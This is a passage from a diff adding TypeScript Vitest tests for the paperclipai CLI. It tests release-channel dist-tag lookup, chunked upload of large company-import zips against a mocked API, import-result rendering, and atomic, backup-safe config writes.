expect(channelForVersion("2026.811.0-rc.1")).toBe("unknown");
|
||||
expect(channelForVersion("garbage")).toBe("unknown");
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectChannelState", () => {
|
||||
const versionsByTag: Record<string, string> = {
|
||||
latest: "2026.722.0",
|
||||
beta: "2026.811.0-beta.0",
|
||||
nightly: "2026.811.0-nightly.0",
|
||||
canary: "2026.811.0-canary.3",
|
||||
};
|
||||
|
||||
const fakeRunner: CommandRunner = async (_command, args) => {
|
||||
const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@"));
|
||||
const tag = spec?.slice("paperclipai@".length) ?? "";
|
||||
const version = versionsByTag[tag];
|
||||
if (!version) throw new Error(`unexpected dist-tag: ${tag}`);
|
||||
return { stdout: JSON.stringify(version), stderr: "" };
|
||||
};
|
||||
|
||||
it("resolves every channel's dist-tag from the registry", async () => {
|
||||
const state = await collectChannelState(fakeRunner);
|
||||
|
||||
expect(state.map((entry) => entry.channel)).toEqual([
|
||||
"stable",
|
||||
"beta",
|
||||
"nightly",
|
||||
"canary",
|
||||
]);
|
||||
expect(state.map((entry) => entry.version)).toEqual([
|
||||
"2026.722.0",
|
||||
"2026.811.0-beta.0",
|
||||
"2026.811.0-nightly.0",
|
||||
"2026.811.0-canary.3",
|
||||
]);
|
||||
});
|
||||
|
||||
it("degrades a single unavailable channel to null without failing the rest", async () => {
|
||||
const flakyRunner: CommandRunner = async (command, args, options) => {
|
||||
const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@"));
|
||||
if (spec === "paperclipai@nightly") throw new Error("registry timeout");
|
||||
return fakeRunner(command, args, options);
|
||||
};
|
||||
|
||||
const state = await collectChannelState(flakyRunner);
|
||||
const byChannel = Object.fromEntries(state.map((entry) => [entry.channel, entry.version]));
|
||||
|
||||
expect(byChannel.nightly).toBeNull();
|
||||
expect(byChannel.stable).toBe("2026.722.0");
|
||||
expect(byChannel.beta).toBe("2026.811.0-beta.0");
|
||||
expect(byChannel.canary).toBe("2026.811.0-canary.3");
|
||||
});
|
||||
|
||||
it("keeps the channel table and dist-tags in sync", () => {
|
||||
expect(RELEASE_CHANNELS.map((entry) => entry.distTag)).toEqual([
|
||||
"latest",
|
||||
"beta",
|
||||
"nightly",
|
||||
"canary",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,494 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { deflateRawSync } from "node:zlib";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { Command } from "commander";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { readZipArchive } from "@paperclipai/shared/portability-zip";
|
||||
import {
|
||||
CHUNKED_IMPORT_THRESHOLD_BYTES,
|
||||
IMPORT_TRANSFER_PART_SIZE_BYTES,
|
||||
buildImportTransferManifest,
|
||||
registerCompanyCommands,
|
||||
EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES,
|
||||
resolveChunkedImportZip,
|
||||
uploadCompanyImportTransfer,
|
||||
} from "../commands/client/company.js";
|
||||
import { createStoredZipArchive } from "./helpers/zip.js";
|
||||
|
||||
const ORIGINAL_ENV = { ...process.env };
|
||||
|
||||
const tempDirs: string[] = [];
|
||||
|
||||
async function makeTempDir(): Promise<string> {
|
||||
const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-transfer-"));
|
||||
tempDirs.push(dir);
|
||||
return dir;
|
||||
}
|
||||
|
||||
function sha256Hex(bytes: Uint8Array): string {
|
||||
return createHash("sha256").update(bytes).digest("hex");
|
||||
}
|
||||
|
||||
/** Two-part fixture: one full 32 MB part plus a short tail. */
|
||||
function buildTwoPartZipBytes(): Uint8Array {
|
||||
const bytes = new Uint8Array(IMPORT_TRANSFER_PART_SIZE_BYTES + 3);
|
||||
bytes.set([1, 2, 3], IMPORT_TRANSFER_PART_SIZE_BYTES);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
for (const dir of tempDirs.splice(0)) {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe("buildImportTransferManifest", () => {
|
||||
it("declares the whole zip and its 32 MB byte-range parts with content hashes", () => {
|
||||
const zipBytes = buildTwoPartZipBytes();
|
||||
const manifest = buildImportTransferManifest(zipBytes);
|
||||
|
||||
expect(manifest.totalBytes).toBe(zipBytes.length);
|
||||
expect(manifest.partSizeBytes).toBe(IMPORT_TRANSFER_PART_SIZE_BYTES);
|
||||
expect(manifest.zipSha256).toBe(sha256Hex(zipBytes));
|
||||
expect(manifest.parts).toEqual([
|
||||
{
|
||||
index: 0,
|
||||
byteSize: IMPORT_TRANSFER_PART_SIZE_BYTES,
|
||||
sha256: sha256Hex(zipBytes.subarray(0, IMPORT_TRANSFER_PART_SIZE_BYTES)),
|
||||
},
|
||||
{
|
||||
index: 1,
|
||||
byteSize: 3,
|
||||
sha256: sha256Hex(zipBytes.subarray(IMPORT_TRANSFER_PART_SIZE_BYTES)),
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
// Minimal single-entry DEFLATE zip, byte-compatible with the shared reader —
|
||||
// the stored-zip helper cannot model a small-compressed/large-inflated entry.
|
||||
function buildDeflateZip(entryPath: string, text: string): Uint8Array {
|
||||
const raw = Buffer.from(text, "utf8");
|
||||
const body = deflateRawSync(raw);
|
||||
const name = Buffer.from(entryPath, "utf8");
|
||||
let crc = 0xffffffff;
|
||||
for (const byte of raw) {
|
||||
crc ^= byte;
|
||||
for (let bit = 0; bit < 8; bit += 1) crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1;
|
||||
}
|
||||
crc = (crc ^ 0xffffffff) >>> 0;
|
||||
const local = Buffer.alloc(30 + name.length);
|
||||
local.writeUInt32LE(0x04034b50, 0);
|
||||
local.writeUInt16LE(20, 4);
|
||||
local.writeUInt16LE(0x0800, 6);
|
||||
local.writeUInt16LE(8, 8);
|
||||
local.writeUInt32LE(crc, 14);
|
||||
local.writeUInt32LE(body.length, 18);
|
||||
local.writeUInt32LE(raw.length, 22);
|
||||
local.writeUInt16LE(name.length, 26);
|
||||
name.copy(local, 30);
|
||||
const central = Buffer.alloc(46 + name.length);
|
||||
central.writeUInt32LE(0x02014b50, 0);
|
||||
central.writeUInt16LE(20, 4);
|
||||
central.writeUInt16LE(20, 6);
|
||||
central.writeUInt16LE(0x0800, 8);
|
||||
central.writeUInt16LE(8, 10);
|
||||
central.writeUInt32LE(crc, 16);
|
||||
central.writeUInt32LE(body.length, 20);
|
||||
central.writeUInt32LE(raw.length, 24);
|
||||
central.writeUInt16LE(name.length, 28);
|
||||
central.writeUInt32LE(0, 42);
|
||||
name.copy(central, 46);
|
||||
const eocd = Buffer.alloc(22);
|
||||
eocd.writeUInt32LE(0x06054b50, 0);
|
||||
eocd.writeUInt16LE(1, 8);
|
||||
eocd.writeUInt16LE(1, 10);
|
||||
eocd.writeUInt32LE(central.length, 12);
|
||||
eocd.writeUInt32LE(local.length + body.length, 16);
|
||||
return new Uint8Array(Buffer.concat([local, body, central, eocd]));
|
||||
}
|
||||
|
||||
describe("resolveChunkedImportZip", () => {
|
||||
|
||||
it("returns null for a zip at or under the threshold", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "small.zip");
|
||||
await writeFile(zipPath, Buffer.alloc(1024));
|
||||
|
||||
expect(await resolveChunkedImportZip(zipPath)).toBeNull();
|
||||
});
|
||||
|
||||
it("takes the chunked path for a small zip whose entries inflate past the threshold", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "dense-package.zip");
|
||||
// ~64 MB of repetitive text DEFLATEs to a tiny file: far under the raw
|
||||
// 48 MB threshold, but the inline body would carry the inflated entries,
|
||||
// so the estimated request size sends the zip down the chunked path.
|
||||
const zipBytes = buildDeflateZip("dense-package/NOTES.md", "paperclip agent docs\n".repeat(3_200_000));
|
||||
await writeFile(zipPath, zipBytes);
|
||||
|
||||
const resolved = await resolveChunkedImportZip(zipPath);
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved!.rootPath).toBe("dense-package");
|
||||
expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes));
|
||||
});
|
||||
|
||||
it("uses the lower existing-company threshold for the chunk decision", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const packageDir = path.join(dir, "midsize-package");
|
||||
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
|
||||
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
|
||||
// ~9 MB of blob bytes: estimated inline ~12 MB — fine for the generic
|
||||
// import path (64 MB parser) but over the existing-company path's
|
||||
// default 10 MB parser, so only the existing-target threshold chunks it.
|
||||
await writeFile(path.join(packageDir, "blobs", "1a2b3c4d"), Buffer.alloc(9 * 1024 * 1024, 5));
|
||||
|
||||
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
|
||||
const chunked = await resolveChunkedImportZip(
|
||||
packageDir,
|
||||
EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES,
|
||||
);
|
||||
expect(chunked).not.toBeNull();
|
||||
expect(chunked!.rootPath).toBe("midsize-package");
|
||||
});
|
||||
|
||||
it("keeps a small zip inline when its entries stay under the estimated threshold", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "modest-package.zip");
|
||||
await writeFile(zipPath, buildDeflateZip("modest-package/COMPANY.md", "# Company\n"));
|
||||
|
||||
expect(await resolveChunkedImportZip(zipPath)).toBeNull();
|
||||
});
|
||||
|
||||
it("reads an oversized zip file as-is so its declared hashes match the file on disk", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "big-package.zip");
|
||||
const zipBytes = Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 7);
|
||||
await writeFile(zipPath, zipBytes);
|
||||
|
||||
const resolved = await resolveChunkedImportZip(zipPath);
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved!.rootPath).toBe("big-package");
|
||||
expect(resolved!.zipBytes.length).toBe(zipBytes.length);
|
||||
expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes));
|
||||
});
|
||||
|
||||
it("returns null for a folder whose portable content is under the threshold", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const packageDir = path.join(dir, "small-package");
|
||||
await mkdir(packageDir, { recursive: true });
|
||||
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
|
||||
|
||||
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
|
||||
});
|
||||
|
||||
it("takes the chunked path for a binary-heavy folder whose inline body outgrows the threshold", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const packageDir = path.join(dir, "binary-package");
|
||||
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
|
||||
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
|
||||
// 40 MB of raw blob bytes: under the 48 MB raw threshold, but the inline
|
||||
// JSON body would carry them base64-inflated (~53 MB) — past the
|
||||
// threshold on the estimated request size, so the zip travels chunked.
|
||||
await writeFile(
|
||||
path.join(packageDir, "blobs", "9a1b2c3d"),
|
||||
Buffer.alloc(40 * 1024 * 1024, 3),
|
||||
);
|
||||
|
||||
const resolved = await resolveChunkedImportZip(packageDir);
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved!.rootPath).toBe("binary-package");
|
||||
const archive = await readZipArchive(resolved!.zipBytes);
|
||||
expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/9a1b2c3d"]);
|
||||
});
|
||||
|
||||
it("keeps a text folder under both the raw and estimated measures inline", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const packageDir = path.join(dir, "text-package");
|
||||
await mkdir(packageDir, { recursive: true });
|
||||
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
|
||||
// Sizable but nowhere near the threshold on either measure: text entries
|
||||
// travel JSON-escaped, close to their raw size, so no base64 inflation
|
||||
// pushes this folder onto the chunked path.
|
||||
await writeFile(path.join(packageDir, "NOTES.md"), "agent docs line\n".repeat(200_000));
|
||||
|
||||
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
|
||||
});
|
||||
|
||||
it("zips an oversized folder in memory with the same walk filters as the inline path", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const packageDir = path.join(dir, "big-package");
|
||||
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
|
||||
await mkdir(path.join(packageDir, ".git"), { recursive: true });
|
||||
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
|
||||
await writeFile(path.join(packageDir, "notes.txt"), "not portable\n");
|
||||
await writeFile(path.join(packageDir, ".git", "HEAD"), "ref: refs/heads/main\n");
|
||||
await writeFile(
|
||||
path.join(packageDir, "blobs", "4f2d1c9a"),
|
||||
Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 9),
|
||||
);
|
||||
|
||||
const resolved = await resolveChunkedImportZip(packageDir);
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved!.rootPath).toBe("big-package");
|
||||
|
||||
// The archive unzips back into the same bundle the inline source carries.
|
||||
const archive = await readZipArchive(resolved!.zipBytes);
|
||||
expect(archive.rootPath).toBe("big-package");
|
||||
expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/4f2d1c9a"]);
|
||||
expect(archive.files["COMPANY.md"]).toBe("# Company\n");
|
||||
});
|
||||
});
|
||||
|
||||
describe("uploadCompanyImportTransfer", () => {
|
||||
const zipBytes = buildTwoPartZipBytes();
|
||||
type TransferApi = Parameters<typeof uploadCompanyImportTransfer>[0];
|
||||
|
||||
function fakeApi(overrides: { post?: ReturnType<typeof vi.fn>; putRaw?: ReturnType<typeof vi.fn> } = {}) {
|
||||
const post = overrides.post
|
||||
?? vi.fn().mockResolvedValue({
|
||||
transferId: "transfer-1",
|
||||
status: "running",
|
||||
alreadyCompleted: false,
|
||||
totalParts: 2,
|
||||
missingParts: [0, 1],
|
||||
});
|
||||
const putRaw = overrides.putRaw ?? vi.fn().mockResolvedValue({ ok: true });
|
||||
return { api: { post, putRaw } as unknown as TransferApi, post, putRaw };
|
||||
}
|
||||
|
||||
it("uploads only the parts the server reports missing", async () => {
|
||||
const { api, post, putRaw } = fakeApi({
|
||||
post: vi.fn().mockResolvedValue({
|
||||
transferId: "transfer-1",
|
||||
status: "running",
|
||||
alreadyCompleted: false,
|
||||
totalParts: 2,
|
||||
missingParts: [1],
|
||||
}),
|
||||
});
|
||||
const progress: number[] = [];
|
||||
|
||||
const transferId = await uploadCompanyImportTransfer(api, zipBytes, {
|
||||
onProgress: (update) => progress.push(update.uploadedParts),
|
||||
});
|
||||
|
||||
expect(transferId).toBe("transfer-1");
|
||||
expect(post).toHaveBeenCalledWith(
|
||||
"/api/companies/import/transfers",
|
||||
expect.objectContaining({ totalBytes: zipBytes.length }),
|
||||
);
|
||||
expect(putRaw).toHaveBeenCalledTimes(1);
|
||||
expect(putRaw.mock.calls[0]![0]).toBe("/api/companies/import/transfers/transfer-1/parts/1");
|
||||
expect(putRaw.mock.calls[0]![1]).toHaveLength(3);
|
||||
expect(progress).toEqual([2]);
|
||||
});
|
||||
|
||||
it("retries a failed part before succeeding", async () => {
|
||||
const putRaw = vi.fn()
|
||||
.mockRejectedValueOnce(new Error("socket hang up"))
|
||||
.mockRejectedValueOnce(new Error("socket hang up"))
|
||||
.mockResolvedValue({ ok: true });
|
||||
const { api } = fakeApi({ putRaw });
|
||||
|
||||
await expect(uploadCompanyImportTransfer(api, zipBytes)).resolves.toBe("transfer-1");
|
||||
// Part 0 took three attempts; part 1 succeeded first try.
|
||||
expect(putRaw).toHaveBeenCalledTimes(4);
|
||||
});
|
||||
|
||||
it("surfaces the upload error after exhausting the per-part attempts", async () => {
|
||||
const putRaw = vi.fn().mockRejectedValue(new Error("socket hang up"));
|
||||
const { api } = fakeApi({ putRaw });
|
||||
|
||||
await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow("socket hang up");
|
||||
expect(putRaw).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
|
||||
it("refuses a transfer whose content was already applied", async () => {
|
||||
const { api, putRaw } = fakeApi({
|
||||
post: vi.fn().mockResolvedValue({
|
||||
transferId: "transfer-1",
|
||||
status: "completed",
|
||||
alreadyCompleted: true,
|
||||
totalParts: 2,
|
||||
missingParts: [],
|
||||
}),
|
||||
});
|
||||
|
||||
await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow(/already imported/);
|
||||
expect(putRaw).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("company import command over the chunked transfer path", () => {
|
||||
let fetchMock: ReturnType<typeof vi.fn>;
|
||||
let logSpy: ReturnType<typeof vi.spyOn>;
|
||||
|
||||
beforeEach(() => {
|
||||
process.env = { ...ORIGINAL_ENV };
|
||||
delete process.env.PAPERCLIP_API_URL;
|
||||
delete process.env.PAPERCLIP_API_KEY;
|
||||
delete process.env.PAPERCLIP_COMPANY_ID;
|
||||
fetchMock = vi.fn();
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined);
|
||||
vi.spyOn(console, "error").mockImplementation(() => undefined);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
process.env = { ...ORIGINAL_ENV };
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
async function runCommand(args: string[]): Promise<void> {
|
||||
const program = new Command();
|
||||
program.exitOverride();
|
||||
program.configureOutput({
|
||||
writeOut: () => undefined,
|
||||
writeErr: () => undefined,
|
||||
});
|
||||
registerCompanyCommands(program);
|
||||
await program.parseAsync(args, { from: "user" });
|
||||
}
|
||||
|
||||
function jsonResponse(body: unknown, status = 200): Response {
|
||||
return new Response(JSON.stringify(body), {
|
||||
status,
|
||||
headers: { "content-type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
function minimalPreview() {
|
||||
return {
|
||||
include: { company: true, agents: true, projects: true, issues: true },
|
||||
targetCompanyId: null,
|
||||
targetCompanyName: null,
|
||||
collisionStrategy: "rename",
|
||||
selectedAgentSlugs: [],
|
||||
plan: { companyAction: "create", agentPlans: [], projectPlans: [], issuePlans: [] },
|
||||
manifest: { agents: [], projects: [], issues: [], skills: [], company: null },
|
||||
files: {},
|
||||
envInputs: [],
|
||||
warnings: [],
|
||||
errors: [],
|
||||
};
|
||||
}
|
||||
|
||||
it("slices an oversized local zip into a transfer and applies it against the spool", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "big-package.zip");
|
||||
await writeFile(zipPath, Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 5));
|
||||
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse({
|
||||
transferId: "transfer-1",
|
||||
status: "running",
|
||||
alreadyCompleted: false,
|
||||
totalParts: 2,
|
||||
missingParts: [0, 1],
|
||||
}))
|
||||
.mockResolvedValueOnce(jsonResponse({ ok: true, index: 0, alreadyCompleted: false }))
|
||||
.mockResolvedValueOnce(jsonResponse({ ok: true, index: 1, alreadyCompleted: false }))
|
||||
.mockResolvedValueOnce(jsonResponse(minimalPreview()))
|
||||
.mockResolvedValueOnce(jsonResponse({
|
||||
company: { id: "company-9", name: "Imported", action: "created" },
|
||||
agents: [],
|
||||
skills: [],
|
||||
projects: [],
|
||||
routines: [],
|
||||
envInputs: [],
|
||||
warnings: [],
|
||||
}));
|
||||
|
||||
await runCommand([
|
||||
"company",
|
||||
"import",
|
||||
zipPath,
|
||||
"--target",
|
||||
"new",
|
||||
"--yes",
|
||||
"--json",
|
||||
"--api-base",
|
||||
"http://paperclip.test",
|
||||
"--api-key",
|
||||
"board-token",
|
||||
]);
|
||||
|
||||
expect(fetchMock).toHaveBeenNthCalledWith(
|
||||
1,
|
||||
"http://paperclip.test/api/companies/import/transfers",
|
||||
expect.objectContaining({ method: "POST" }),
|
||||
);
|
||||
const declared = JSON.parse(String(fetchMock.mock.calls[0]![1].body));
|
||||
expect(declared.totalBytes).toBe(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024);
|
||||
expect(declared.parts).toHaveLength(2);
|
||||
|
||||
expect(fetchMock).toHaveBeenNthCalledWith(
|
||||
2,
|
||||
"http://paperclip.test/api/companies/import/transfers/transfer-1/parts/0",
|
||||
expect.objectContaining({
|
||||
method: "PUT",
|
||||
headers: expect.objectContaining({ "content-type": "application/octet-stream" }),
|
||||
}),
|
||||
);
|
||||
expect(fetchMock).toHaveBeenNthCalledWith(
|
||||
3,
|
||||
"http://paperclip.test/api/companies/import/transfers/transfer-1/parts/1",
|
||||
expect.objectContaining({ method: "PUT" }),
|
||||
);
|
||||
expect(fetchMock).toHaveBeenNthCalledWith(
|
||||
4,
|
||||
"http://paperclip.test/api/companies/import/transfers/transfer-1/preview",
|
||||
expect.objectContaining({ method: "POST" }),
|
||||
);
|
||||
// Preview and apply carry the meta fields, never an inline source.
|
||||
const previewBody = JSON.parse(String(fetchMock.mock.calls[3]![1].body));
|
||||
expect(previewBody.target).toEqual({ mode: "new_company", newCompanyName: null });
|
||||
expect(previewBody).not.toHaveProperty("source");
|
||||
expect(fetchMock).toHaveBeenNthCalledWith(
|
||||
5,
|
||||
"http://paperclip.test/api/companies/import/transfers/transfer-1/apply",
|
||||
expect.objectContaining({ method: "POST" }),
|
||||
);
|
||||
const applyBody = JSON.parse(String(fetchMock.mock.calls[4]![1].body));
|
||||
expect(applyBody).not.toHaveProperty("source");
|
||||
|
||||
expect(JSON.parse(String(logSpy.mock.calls.at(-1)?.[0]))).toMatchObject({
|
||||
company: { id: "company-9" },
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps small local zips on the inline single-shot path", async () => {
|
||||
const dir = await makeTempDir();
|
||||
const zipPath = path.join(dir, "small-package.zip");
|
||||
await writeFile(zipPath, createStoredZipArchive({ "COMPANY.md": "# Company\n" }, "small-package"));
|
||||
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse(minimalPreview()));
|
||||
|
||||
await runCommand([
|
||||
"company",
|
||||
"import",
|
||||
zipPath,
|
||||
"--target",
|
||||
"new",
|
||||
"--dry-run",
|
||||
"--json",
|
||||
"--api-base",
|
||||
"http://paperclip.test",
|
||||
"--api-key",
|
||||
"board-token",
|
||||
]);
|
||||
|
||||
expect(fetchMock).toHaveBeenCalledTimes(1);
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
"http://paperclip.test/api/companies/import/preview",
|
||||
expect.objectContaining({ method: "POST" }),
|
||||
);
|
||||
const body = JSON.parse(String(fetchMock.mock.calls[0]![1].body));
|
||||
expect(body.source.type).toBe("inline");
|
||||
expect(body.source.files["COMPANY.md"]).toBe("# Company\n");
|
||||
});
|
||||
});
|
||||
@@ -504,6 +504,17 @@ describe("renderCompanyImportResult", () => {
|
||||
{ slug: "cto", id: "agent-2", action: "updated", name: "CTO", reason: "replace strategy" },
|
||||
{ slug: "ops", id: null, action: "skipped", name: "Ops", reason: "skip strategy" },
|
||||
],
|
||||
skills: [
|
||||
{
|
||||
originalKey: "company/source/review",
|
||||
originalSlug: "review",
|
||||
key: "company/target/review-2",
|
||||
slug: "review-2",
|
||||
id: "skill-1",
|
||||
action: "renamed",
|
||||
reason: "rename strategy",
|
||||
},
|
||||
],
|
||||
projects: [
|
||||
{ slug: "app", id: "project-1", action: "created", name: "App", reason: null },
|
||||
{ slug: "ops", id: "project-2", action: "updated", name: "Operations", reason: "replace strategy" },
|
||||
@@ -525,8 +536,10 @@ describe("renderCompanyImportResult", () => {
|
||||
expect(rendered).toContain("Company");
|
||||
expect(rendered).toContain("https://paperclip.example/PAP/dashboard");
|
||||
expect(rendered).toContain("3 agents total (1 created, 1 updated, 1 skipped)");
|
||||
expect(rendered).toContain("1 skill total (1 renamed)");
|
||||
expect(rendered).toContain("3 projects total (1 created, 1 updated, 1 skipped)");
|
||||
expect(rendered).toContain("Agent results");
|
||||
expect(rendered).toContain("Skill results");
|
||||
expect(rendered).toContain("Project results");
|
||||
expect(rendered).toContain("Using claude-local adapter");
|
||||
expect(rendered).toContain("Review API keys");
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
backupInvalidConfig,
|
||||
readConfig,
|
||||
writeConfig,
|
||||
} from "../config/store.js";
|
||||
import { paperclipConfigSchema, type PaperclipConfig } from "../config/schema.js";
|
||||
|
||||
const roots: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
for (const root of roots.splice(0)) {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
function createConfigPath(): string {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-config-store-"));
|
||||
roots.push(root);
|
||||
return path.join(root, "config.json");
|
||||
}
|
||||
|
||||
function defaultConfig(): PaperclipConfig {
|
||||
return paperclipConfigSchema.parse({
|
||||
$meta: {
|
||||
version: 1,
|
||||
updatedAt: "2026-08-06T00:00:00.000Z",
|
||||
source: "configure",
|
||||
},
|
||||
database: { mode: "embedded-postgres" },
|
||||
logging: { mode: "file" },
|
||||
server: {},
|
||||
});
|
||||
}
|
||||
|
||||
describe("config store", () => {
|
||||
it("preserves top-level and nested extension keys during a known-field update", () => {
|
||||
const configPath = createConfigPath();
|
||||
fs.writeFileSync(configPath, JSON.stringify({
|
||||
...defaultConfig(),
|
||||
topLevelExtension: { enabled: true },
|
||||
server: {
|
||||
...defaultConfig().server,
|
||||
serverExtension: "keep",
|
||||
},
|
||||
storage: {
|
||||
...defaultConfig().storage,
|
||||
localDisk: {
|
||||
...defaultConfig().storage.localDisk,
|
||||
driverExtension: "keep",
|
||||
},
|
||||
},
|
||||
}, null, 2));
|
||||
|
||||
const source = readConfig(configPath)!;
|
||||
const { topLevelExtension: _topLevelExtension, ...knownConfig } = source;
|
||||
const { serverExtension: _serverExtension, ...knownServer } = source.server;
|
||||
const { driverExtension: _driverExtension, ...knownLocalDisk } = source.storage.localDisk;
|
||||
const update: PaperclipConfig = {
|
||||
...knownConfig,
|
||||
server: {
|
||||
...knownServer,
|
||||
port: 3200,
|
||||
},
|
||||
storage: {
|
||||
...source.storage,
|
||||
localDisk: knownLocalDisk,
|
||||
},
|
||||
};
|
||||
|
||||
expect(writeConfig(update, configPath)).toBe(true);
|
||||
expect(JSON.parse(fs.readFileSync(configPath, "utf8"))).toMatchObject({
|
||||
topLevelExtension: { enabled: true },
|
||||
server: {
|
||||
port: 3200,
|
||||
serverExtension: "keep",
|
||||
},
|
||||
storage: {
|
||||
localDisk: {
|
||||
driverExtension: "keep",
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("skips semantic no-op writes and keeps the config mtime stable", () => {
|
||||
const configPath = createConfigPath();
|
||||
const source = defaultConfig();
|
||||
fs.writeFileSync(configPath, `${JSON.stringify(source, null, 2)}\n`);
|
||||
const stableTime = new Date("2020-01-01T00:00:00.000Z");
|
||||
fs.utimesSync(configPath, stableTime, stableTime);
|
||||
|
||||
const update = {
|
||||
...source,
|
||||
$meta: {
|
||||
...source.$meta,
|
||||
source: "doctor" as const,
|
||||
updatedAt: "2026-08-06T01:00:00.000Z",
|
||||
},
|
||||
};
|
||||
|
||||
expect(writeConfig(update, configPath)).toBe(false);
|
||||
expect(fs.statSync(configPath).mtimeMs).toBe(stableTime.getTime());
|
||||
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
|
||||
});
|
||||
|
||||
it("backs up invalid bytes collision-safely and only replaces them through an atomic repair", () => {
|
||||
const configPath = createConfigPath();
|
||||
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
|
||||
fs.writeFileSync(configPath, invalidBytes);
|
||||
fs.writeFileSync(`${configPath}.invalid-1`, "existing backup");
|
||||
|
||||
const open = vi.spyOn(fs, "openSync");
|
||||
const sync = vi.spyOn(fs, "fsyncSync");
|
||||
const backupPath = backupInvalidConfig(configPath);
|
||||
expect(backupPath).toBe(`${configPath}.invalid-2`);
|
||||
expect(fs.readFileSync(backupPath)).toEqual(invalidBytes);
|
||||
expect(open).toHaveBeenCalledWith(backupPath, "r");
|
||||
expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r");
|
||||
expect(sync).toHaveBeenCalled();
|
||||
expect(() => writeConfig(defaultConfig(), configPath)).toThrow(/Refusing to overwrite invalid config/);
|
||||
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
|
||||
|
||||
open.mockClear();
|
||||
sync.mockClear();
|
||||
const rename = vi.spyOn(fs, "renameSync");
|
||||
expect(writeConfig(defaultConfig(), configPath, { invalidBackupPath: backupPath })).toBe(true);
|
||||
expect(rename).toHaveBeenCalledWith(expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), configPath);
|
||||
expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r");
|
||||
expect(open.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(rename.mock.invocationCallOrder.at(-1)!);
|
||||
expect(sync.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(open.mock.invocationCallOrder.at(-1)!);
|
||||
expect(readConfig(configPath)).not.toBeNull();
|
||||
expect(fs.readdirSync(path.dirname(configPath)).some((entry) => entry.includes(".tmp-"))).toBe(false);
|
